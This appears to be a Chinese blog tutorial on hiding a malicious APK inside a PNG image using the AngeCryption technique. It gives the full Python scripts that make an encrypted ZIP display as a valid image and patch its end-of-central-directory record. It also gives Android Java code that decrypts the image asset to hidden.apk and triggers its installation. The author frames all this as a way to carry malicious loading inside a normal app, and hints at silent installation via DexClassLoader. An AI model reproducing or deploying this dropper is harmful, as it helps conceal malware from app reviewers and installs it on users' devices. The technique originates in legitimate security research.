之前看到一篇关于将文件隐藏在图片中的技术介绍,感觉非常有意思,于是研究了一下,它介绍的是将恶意apk文件加密成一张图片,再把它放到正常的apk里,当用户点击这张图片的时候再将它解密,就能实现恶意加载了,不过经过自己的测试,apk文件处理后会导致签名校验失败,从而导致无法安装,重新签名的话又不能加密成图片,一个办法就是将apk文件压缩成一个zip文件,再把这个zip文件加密成图片就可以了。
下面是将zip文件隐藏在图片中的介绍:
一、 处理原始文件
这步很重要,因为直接将文件通过AES加密的话并不能形成一张有效的图片,必须经过特殊处理,下面是处理脚本:
#AngeCryption:getting valid files after encryption
#takesany file as input, and a standard PDF/PNG/JPG as target
#willcreate a result_file that is source_file with appended 'garbage'
#andonce ENcrypted with the chosen algorithm with the supplied script, it will showtarget_file
#anyblock cipher is supported as long as the block size matches the target type'sheader
#AngeAlbertini 2014, BSD Licence - with the help of Jean-Philippe Aumasson
# -Added FLV support
importstruct
importsys
importbinascii
PNGSIG ='\x89PNG\r\n\x1a\n'
JPGSIG ="\xff\xd8"
FLVSIG ="FLV"
source_file,target_file, result_file, encryption_key, algo = sys.argv[1:6]
ifalgo.lower() == "aes":
from Crypto.Cipher import AES
algo = AES
BS = 16
else:
from Crypto.Cipher import DES3 # will workonly with JPEG as others require 16 bytes block size
algo = DES3
BS = 8
pad =lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) # non-standard paddingmight be preferred for PDF
#fromCrypto import Random
#key =Random.new().read(16)
key =encryption_key
withopen(source_file, "rb") as f:
s = pad(f.read())
with open(target_file,"rb") as f:
t = pad(f.read())
p =s[:BS] # our first plaintext block
ecb_dec= algo.new(key, algo.MODE_ECB)
# weneed to generate our first cipher block, depending on the target type
ift.startswith(PNGSIG): #PNG
assert BS >= 16
size = len(s) - BS
# our dummy chunk type
# 4 letters, first letter should belowercase to be ignored
chunktype = 'aaaa'
# PNG signature, chunk size, our dummychunk type
c = PNGSIG +struct.pack(">I",size) + chunktype
c = ecb_dec.decrypt(c)
IV = "".join([chr(ord(c[i]) ^ord(p[i])) for i in range(BS)])
cbc_enc = algo.new(key, algo.MODE_CBC, IV)
result = cbc_enc.encrypt(s)
#write the CRC of the remaining of s at theend of our dummy block
result = result +struct.pack(">I", binascii.crc32(result[12:]) % 0x100000000)
#and append the actual data of t, skippingthe sig
result = result + t[8:]
elift.startswith(JPGSIG): #JPG
assert BS >= 2
size = len(s) - BS # we could make thisshorter, but then could require padding again
# JPEG Start of Image, COMment segmentmarker, segment size, padding
c = JPGSIG + "\xFF\xFE" +struct.pack(">H",size) + "\0" * 10
c = ecb_dec.decrypt(c)
IV = "".join([chr(ord(c[i]) ^ord(p[i])) for i in range(BS)])
cbc_enc = algo.new(key, algo.MODE_CBC, IV)
result = cbc_enc.encrypt(s)
#and append the actual data of t, skippingthe sig
result = result + t[2:]
elift.startswith(FLVSIG):
assert BS >= 9
size = len(s) - BS # we could make thisshorter, but then could require padding again
# reusing FLV's sig and type, data offset,padding
c = t[:5] +struct.pack(">I",size + 16) + "\0" * 7
c = ecb_dec.decrypt(c)
IV = "".join([chr(ord(c[i]) ^ord(p[i])) for i in range(BS)])
cbc_enc = algo.new(key, algo.MODE_CBC, IV)
result = cbc_enc.encrypt(s)
#and append the actual data of t, skippingthe sig
result = result + t[9:]
elift.find("%PDF-") > -1:
assert BS >= 16
size = len(s) - BS # we take the wholefirst 16 bits
#truncated signature, dummy stream objectstart
c = "%PDF-\0obj\nstream"
c = ecb_dec.decrypt(c)
IV = "".join([chr(ord(c[i]) ^ord(p[i])) for i in range(BS)])
cbc_enc = algo.new(key, algo.MODE_CBC, IV)
result = cbc_enc.encrypt(s)
#close the dummy object and append thewhole t
#(we don't know where the sig is, we can'tskip anything)
result = result +"\nendstream\nendobj\n" + t
else:
print "file type not supported"
sys.exit()
#we haveour result, key and IV
#generatethe result file
cbc_dec= algo.new(key, algo.MODE_CBC, IV)
withopen(result_file, "wb") as f:
f.write(cbc_dec.decrypt(pad(result)))
#generatethe script
result_file= "eocd2_"+result_file
print"""from Crypto.Cipher import %(algo)s
BS=%(BS)d
pad =%(pad)s
algo =%(algo)s.new(%(key)s, %(algo)s.MODE_CBC, %(IV)s)
withopen(%(source)s, "rb") as f:
d = pad(f.read())
d =algo.encrypt(d)
withopen("dec-" + %(target)s, "wb") as f:
f.write(d)""" % {
'algo':algo.__name__.split(".")[-1],
'BS':BS,
'pad':"lambda s: s + (BS - len(s) %BS) * chr(BS - len(s) % BS)",
'key':`key`,
'IV':`IV`,
'source':`result_file`,
'target':`target_file`}
以上面的PNG图片为例来介绍一下处理的流程。
1、 PNG图片特征:
1) PNG图片开头以\x89PNG\r\n\x1a\n八个字节作为图片识别标志
2) PNG图片中的垃圾数据格式
Chunk length
Chunk id
Chunk data
CRC32 of chunk data and id
2、 了解了PNG图片特征,那么我们就知道文件要想成为一张有效的PNG图片,需要两个步骤,一个是加入PNG头部标识,二是将原始文件数据标识为垃圾数据,这样就能成为有效的图片了
3、 代码分析:
1) 原始文件转换成图片:
IV ="".join([chr(ord(c[i]) ^ ord(p[i])) for i in range(BS)])
关键在于这个,AES加密是分块加密的,每个块16个字节,加密用的IV是上一个IV转换的,但是我们只需要控制第一块数据就行了,上面这个IV就是将第一块数据转换成PNG图片前八个字节+Garbage Chunk格式,其中Garbage Chunk目的就是将原始文件数据标志为垃圾数据,这样识别的时候就成为了一张有效图片了
2) 图片还原成原始图片:
经过上面的处理后可以形成一张隐藏了文件的图片,然后通过AES解密就能将第一块数据还原成原始文件的数据,又因为ZIP文件这种都有一个EOCD(end of central directory)标志在末尾,因此还原后识别就不会把PNG数据考虑进去,不过也有一个问题,解压缩软件不接受ZIP文件末尾有太多的附加数据,这个会导致无法解压。因此还需要一个步骤
3) 添加EOCD:
既然解压缩软件无法接受末尾多余数据,那么就需要在处理后的文件末尾再加上一个EOCD,那么这个EOCD怎么获取呢,当然是去读取原始文件的EOCD了,下面是脚本:
#duplicate & adjust the EoCD of a ZIP archive at the bottom of the file
# toincrease compatibility in the case of big appended data
#AngeAlbertini, BSD Licence 2014
#AxelleApvrille, modif to use from command line
importstruct
importsys
defGetExtraEoCD(data, delta):
"""returns the adjusted EoCDof a ZIP file"""
#Locate the signature of End of CentralDirectory
eocdoff = data.find("PK\5\6")
#read the comment length to get the fullEoCD length
cmtlen = struct.unpack("<H",data[eocdoff + 5 * 4: eocdoff + 5 * 4 + 2])[0]
#grab the EoCD data
eocdlen = cmtlen + 5 * 4 + 2
eocd = data[eocdoff: eocdoff + eocdlen + 1]
#the relative offset of the EoCD to the CDneeds to be read
reloff = struct.unpack("<L",eocd[3 * 4: 3 * 4 + 4]) [0]
#then adjusted
reloff += DELTA + eocdlen # the previousEoCD is now irrelevant
eocd = eocd[:3 * 4] +struct.pack("<L", reloff) + eocd[3 * 4 + 4:]
return eocd
if__name__ == "__main__":
fn = sys.argv[1]
DELTA = 256 * 1024
with open(fn, "rb") as f:
d = f.read()
with open("eocd2_" + fn,"wb") as f:
f.write(d + "\0" * DELTA +GetExtraEoCD(d, DELTA))
经过上面的处理后就大功告成了,可以把处理后的文件用之前设置好的IV和key来加密成一张图片了。注意的是你必须使用之前的IV和key,因为这样加密后的才是按照上面介绍的预期效果,否则无效。
二、 软件运行时动态解密图片
上面介绍了如何将zip文件加密成图片,接着介绍如何将这张图片动态解密成zip文件,下面是主要代码:
package com.fortiguard.poc.angecrypt;
import android.widget.TextView;
import android.widget.Button;
import android.view.View;
import android.app.Activity;
import android.os.Bundle;
import android.content.res.AssetManager;
import java.io.*;
import android.content.Intent;
import android.net.Uri;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import javax.crypto.spec.IvParameterSpec;
import android.widget.Toast;
import android.util.Log;
import android.content.Context;
import android.os.Environment;
import android.widget.ImageView;
import android.graphics.drawable.Drawable;
public class PocActivity extends Activity
{
public TextView txtView = null;
public ImageView mImage = null;
// full path name for decrypted APK: e.g/storage/sdcard/hidden.apk
public static final String PAYLOAD_APK =Environment.getExternalStorageDirectory() + "/hidden.apk";
/** Called when the activity is firstcreated. */
@Override
public void onCreate(BundlesavedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
txtView = (TextView)findViewById(R.id.txtView);
Button goBtn = (Button)findViewById(R.id.goBtn);
mImage = (ImageView)findViewById(R.id.image);
// display the png
try {
InputStream ims = getAssets().open("anakin.png");
Drawable d = Drawable.createFromStream(ims, null);
mImage.setImageDrawable(d);
Log.i("PoC", "Image displayed");
}
catch(IOException exp) {
Log.e("PoC", "Image display exception caught:"+exp.toString());
exp.printStackTrace();
txtView.setText("An error occurred :(");
}
// do the job when the GO button is pressed
goBtn.setOnClickListener(newView.OnClickListener() {
public void onClick(View v) {
try {
Log.i("PoC", "reading asset...");
byte [] png = readAsset("anakin.png");
// decrypting
String key = "Anakin= DarkSide";
byte [] iv = { (byte) 0xd3,(byte) 0x9e,(byte) 0xc,(byte) 0xef,
(byte) 0x23,(byte) 0x70,(byte) 0x2a,(byte)0xa3,
(byte) 0xe9,(byte) 0x8a,(byte) 0xcc,(byte)0x3a,
(byte) 0x2b,(byte) 0xf0,(byte) 0x1a,(byte)0xec };
Log.i("PoC", "decrypting asset...");
byte [] decrypted = decrypt(key.getBytes(), iv, png);
// dumping the decrypted asset
Log.i("PoC", "writing decrypted asset to: "+PocActivity.PAYLOAD_APK);
writeFile(decrypted, PocActivity.PAYLOAD_APK);
// installing it
Log.i("PoC", "installing apk...");
installApk(PocActivity.PAYLOAD_APK);
Log.i("PoC", "done");
txtView.setText("The hidden APK has been installed!");
}
catch(Exception exp) {
Log.e("PoC", "Exception caught: "+exp.toString());
exp.printStackTrace();
txtView.setText("An error occurred :(");
}
}
});
}
public byte [] readAsset(String filename)throws IOException {
AssetManager assetmanager = getAssets();
InputStream in = assetmanager.open(filename);
int size = in.available();
byte[] buffer = new byte[size];
in.read(buffer);
in.close();
return buffer;
}
public void writeFile(byte [] array, Stringfilename) throws Exception {
File myFile = new File(filename);
myFile.createNewFile();
FileOutputStream fout = newFileOutputStream(myFile);
fout.write(array, 0, array.length);
fout.close();
}
public void installApk(String filename) {
Intent intent =new Intent(Intent.ACTION_VIEW);
Log.i("PoC", "File:"+filename);
//
intent.setClassName("com.fortiguard.hidestr","com.fortiguard.hidestr.HideString");
intent.setDataAndType(Uri.fromFile(newFile(filename)),
"application/vnd.android.package-archive");
// intent.setPackage("com.fortiguard.hidestr");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
Log.i("PoC", "Intent is:"+intent.toString());
startActivity(intent);
}
private static byte[] decrypt(byte[]keyBytes,
byte [] iv,
byte[] ciphertext) throws Exception {
IvParameterSpec ivspec = newIvParameterSpec(iv);
SecretKeySpec sk = new SecretKeySpec(keyBytes,"AES");
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
cipher.init(Cipher.DECRYPT_MODE, sk, ivspec);
byte[] decrypted = cipher.doFinal(ciphertext);
return decrypted;
}
}
只要将上面的IV和key替换成你加密后的就行了,当然如果想实现静默安装,可以考虑用DexClassLoader等技术实现,这里就不多介绍了。另外附赠一个代码链接:
https://github.com/cryptax/angeapk